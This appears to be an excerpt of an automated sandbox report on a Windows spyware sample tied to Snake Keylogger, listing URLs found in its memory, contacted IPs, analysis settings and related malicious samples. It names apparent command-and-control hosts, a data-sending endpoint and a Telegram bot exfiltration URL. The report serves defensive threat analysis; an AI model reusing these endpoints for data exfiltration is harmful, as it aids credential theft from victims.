00000000.00000002.3550875486.000000000370C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002647000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=en	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002737000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002768000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002665000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038E7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://varders.kozow.com:8081	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002581000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	false		high
https://www.office.com/lBdq	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002763000.00000004.00000800.00020000.00000000.sdmp	false		high
http://aborters.duckdns.org:8081	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002581000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038E7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=enlBdq	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002732000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?L	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.00000000026F5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anotherarmy.dns.army:8081	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002581000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/8.46.123.75$	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002647000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002604000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000036E7000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003712000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003940000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.000000000383D000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.000000000375C000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003587000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038E7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/q	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=enl	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002737000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.office.com/l	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002768000.00000004.00000800.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.00000000025D1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://sws.swpushroller.eu/swsk/api.php	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002581000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000036E7000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003712000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003940000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.000000000383D000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.000000000375C000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.0000000003587000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.0000000002581000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3550875486.00000000038E7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549829904.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000003.1691578364.00000000005C9000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549728259.0000000002400000.00000004.08000000.00040000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3549586260.00000000021DF000.00000004.00000020.00020000.00000000.sdmp, 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe, 00000000.00000002.3552558348.0000000005100000.00000004.08000000.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
45.80.158.30	sws.swpushroller.eu	Netherlands	13213	UK2NET-ASGB	false
104.21.67.152	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
193.122.130.0	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1562944
Start date and time:	2024-11-26 09:49:29 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe
Detection:	MAL
Classification:	mal100.troj.spyw.winEXE@1/0@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 174 Number of non-executed functions: 134
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: 173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1a223699.dat-decoded.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	173260890731de59c5efad150425b91227bfd141970725ea0b2bb1ec29e5892bd389928c3c633.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Dysacousma41.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Doc261124.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	RemittanceAdvice35282-17.xll.dll	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130 RFQ_xlsx.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	F#U0130YAT L#U0130STES#U0130 VE TEKL#U0130F #U0130STE#U011e#U0130_xlsx.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	Halkbank_Ekstre_25112024 _073809_405251.exe	Get hash	malicious	Snake Keylogger	Browse
	INVITATION TO BID as on 25 NOV 2024.html	Get hash	malicious	HTMLPhisher	Browse
	EPTMAcgvNZ.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse
	INV-0542.pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
45.80.158.30	Doc261124.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	sws.swpushroller.eu/swsk/P4.php
104.21.67.152	173260890731de59c5efad150425b91227bfd141970725ea0b2bb1ec29e5892bd389928c3c633.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	RemittanceAdvice35282-17.xll.dll	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Halkbank_Ekstre_25112024 _073809_405251.exe	Get hash	malicious	Snake Keylogger	Browse
	#U06a9#U067e#U06cc #U067e#U0631#U062f#U0627#U062e#U062a - 19112024,jpg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	AWB NO - 09804480383.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse
	denizbank 25.11.2024 E80 aspc.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	VSP469620.exe	Get hash	malicious	Snake Keylogger	Browse
	order requirements CIF-TRC809910645210.exe	Get hash	malicious	MassLogger RAT	Browse
	Pigroots.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	rorderrequirementsCIF-TRC809910645210.exe	Get hash	malicious	Snake Keylogger	Browse
193.122.130.0	RemittanceAdvice35282-17.xll.dll	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	tJzfnaqOxj.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	LAQfpnQvPQ.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	November Quotation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	denizbank 25.11.2024 E80 aspc.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	VSP469620.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Shave.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	SOA SEP 2024.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	PO-841122676_g787.exe	Get hash	malicious	GuLoader	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	173260890731de59c5efad150425b91227bfd141970725ea0b2bb1ec29e5892bd389928c3c633.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	VSP469620.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Dysacousma41.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	Doc261124.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	PACKING_LIST_DOCUMENT_BQG9390309727.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	RemittanceAdvice35282-17.xll.dll	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130 RFQ_xlsx.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	F#U0130YAT L#U0130STES#U0130 VE TEKL#U0130F #U0130STE#U011e#U0130_xlsx.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.exe	Get hash	malicious	AgentTesla, MassLogger RAT, Phoenix Stealer, PureLog Stealer, RedLine, XWorm	Browse	193.122.6.168
reallyfreegeoip.org	173260890731de59c5efad150425b91227bfd141970725ea0b2bb1ec29e5892bd389928c3c633.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	VSP469620.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Dysacousma41.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.67.177.134
	Doc261124.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	PACKING_LIST_DOCUMENT_BQG9390309727.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	172.67.177.134
	RemittanceAdvice35282-17.xll.dll	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130 RFQ_xlsx.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	F#U0130YAT L#U0130STES#U0130 VE TEKL#U0130F #U0130STE#U011e#U0130_xlsx.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.exe	Get hash	malicious	AgentTesla, MassLogger RAT, Phoenix Stealer, PureLog Stealer, RedLine, XWorm	Browse	172.67.177.134
	Halkbank_Ekstre_25112024 _073809_405251.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
api.telegram.org	173260890731de59c5efad150425b91227bfd141970725ea0b2bb1ec29e5892bd389928c3c633.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Dysacousma41.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Doc261124.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RemittanceAdvice35282-17.xll.dll	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130 RFQ_xlsx.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	F#U0130YAT L#U0130STES#U0130 VE TEKL#U0130F #U0130STE#U011e#U0130_xlsx.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Halkbank_Ekstre_25112024 _073809_405251.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	INVITATION TO BID as on 25 NOV 2024.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	EPTMAcgvNZ.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	149.154.167.220
	INV-0542.pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
sws.swpushroller.eu	Doc261124.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	45.80.158.30
	Scan12112024,pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	141.98.10.88
	Scan12112024,pdf.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	141.98.10.88
	Scan112024.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	141.98.10.88
	173127133603e75602cf90c03b229cc07ec4f5c026cad2909c809b767b293bf800a0e9ade9674.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	141.98.10.88
	1730880308a25cd41259538643a6a02b355f33de1f56cb7e6d874f22aad09eac2596439da1840.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	107.173.160.168

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	173260890731de59c5efad150425b91227bfd141970725ea0b2bb1ec29e5892bd389928c3c633.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Dysacousma41.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Doc261124.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RemittanceAdvice35282-17.xll.dll	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130 RFQ_xlsx.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	F#U0130YAT L#U0130STES#U0130 VE TEKL#U0130F #U0130STE#U011e#U0130_xlsx.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Halkbank_Ekstre_25112024 _073809_405251.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	INVITATION TO BID as on 25 NOV 2024.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	EPTMAcgvNZ.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger	Browse	149.154.167.220
	INV-0542.pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	173260890731de59c5efad150425b91227bfd141970725ea0b2bb1ec29e5892bd389928c3c633.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	geHxbPNEMi.vbs	Get hash	malicious	Unknown	Browse	172.67.187.200
	VSP469620.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Dysacousma41.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.67.177.134
	Doc261124.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	file.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	172.67.213.249
	PACKING_LIST_DOCUMENT_BQG9390309727.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	172.67.177.134
	Transferencia.pdf.lnk.lnk	Get hash	malicious	Lokibot	Browse	172.67.202.26
	Transferencia.pdf.lnk.lnk	Get hash	malicious	Lokibot	Browse	172.67.202.26
	RemittanceAdvice35282-17.xll.dll	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.133.70
ORACLE-BMC-31898US	Dysacousma41.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.6.168
	Doc261124.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	RemittanceAdvice35282-17.xll.dll	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	TEKL#U0130F TALEP VE F#U0130YAT TEKL#U0130F#U0130 RFQ_xlsx.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	F#U0130YAT L#U0130STES#U0130 VE TEKL#U0130F #U0130STE#U011e#U0130_xlsx.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	Ziraat_Bankasi_Swift_Mesaji_BXB04958T.exe	Get hash	malicious	AgentTesla, MassLogger RAT, Phoenix Stealer, PureLog Stealer, RedLine, XWorm	Browse	193.122.6.168
	Halkbank_Ekstre_25112024 _073809_405251.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	jbuESggTv0.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	tJzfnaqOxj.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
UK2NET-ASGB	Doc261124.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	45.80.158.30
	loligang.x86.elf	Get hash	malicious	Mirai	Browse	80.209.188.4
	ajbKFgQ0Fl.exe	Get hash	malicious	Unknown	Browse	45.80.158.23
